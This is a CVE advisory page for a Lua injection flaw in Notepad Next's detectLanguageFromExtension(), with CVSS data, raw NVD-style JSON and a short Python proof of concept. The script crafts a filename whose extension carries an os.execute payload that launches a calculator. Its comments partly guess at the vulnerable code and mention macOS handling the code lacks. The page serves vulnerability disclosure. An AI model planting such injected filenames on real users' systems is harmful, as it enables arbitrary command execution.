Security Vulnerability Report
中文
CVE-2026-42214 CVSS 7.8 HIGH

CVE-2026-42214

Published: 2026-05-07 19:16:01
Last Modified: 2026-05-07 20:16:44

Description

Notepad Next is a cross-platform, reimplementation of Notepad++. Prior to version 0.14, NotepadNext's detectLanguageFromExtension() function interpolates a file's extension directly into a Lua script without sanitization. An attacker can craft a filename whose extension contains Lua code, which executes automatically when the victim opens the file in NotepadNext. Because luaL_openlibs() is called unconditionally, the full os, io, and package libraries are available to the injected code, enabling arbitrary command execution. This issue has been patched in version 0.14.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Notepad Next < 0.14

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import os # Description: This script generates a file with a malicious extension. # When opened in Notepad Next < 0.14, the Lua code in the extension # is executed by the detectLanguageFromExtension() function. # The payload attempts to execute 'calc.exe' (Windows) or 'open -a Calculator' (macOS) # depending on the os library availability. payload = '"] os.execute("calc") -- ' # Construct a filename where the extension contains the Lua injection. # The extension logic in Notepad Next fails to sanitize this. # Original logic might look like: ext = ".. filename_ext .." # We break out of the string and inject commands. malicious_filename = f"innocent_file{payload}.txt" print(f"Creating malicious file: {malicious_filename}") with open(malicious_filename, "w") as f: f.write("This file contains a malicious Lua payload in its extension.") print("File created. Opening this in Notepad Next < 0.14 should trigger the exploit.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42214", "sourceIdentifier": "[email protected]", "published": "2026-05-07T19:16:01.497", "lastModified": "2026-05-07T20:16:43.850", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Notepad Next is a cross-platform, reimplementation of Notepad++. Prior to version 0.14, NotepadNext's detectLanguageFromExtension() function interpolates a file's extension directly into a Lua script without sanitization. An attacker can craft a filename whose extension contains Lua code, which executes automatically when the victim opens the file in NotepadNext. Because luaL_openlibs() is called unconditionally, the full os, io, and package libraries are available to the injected code, enabling arbitrary command execution. This issue has been patched in version 0.14."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://github.com/dail8859/NotepadNext/commit/f3ca1b10aca52f05fd7f4f5ebf9b566d6cd95ccc", "source": "[email protected]"}, {"url": "https://github.com/dail8859/NotepadNext/releases/tag/v0.14", "source": "[email protected]"}, {"url": "https://github.com/dail8859/NotepadNext/security/advisories/GHSA-m5fq-c9x5-w54g", "source": "[email protected]"}, {"url": "https://github.com/dail8859/NotepadNext/security/advisories/GHSA-m5fq-c9x5-w54g", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}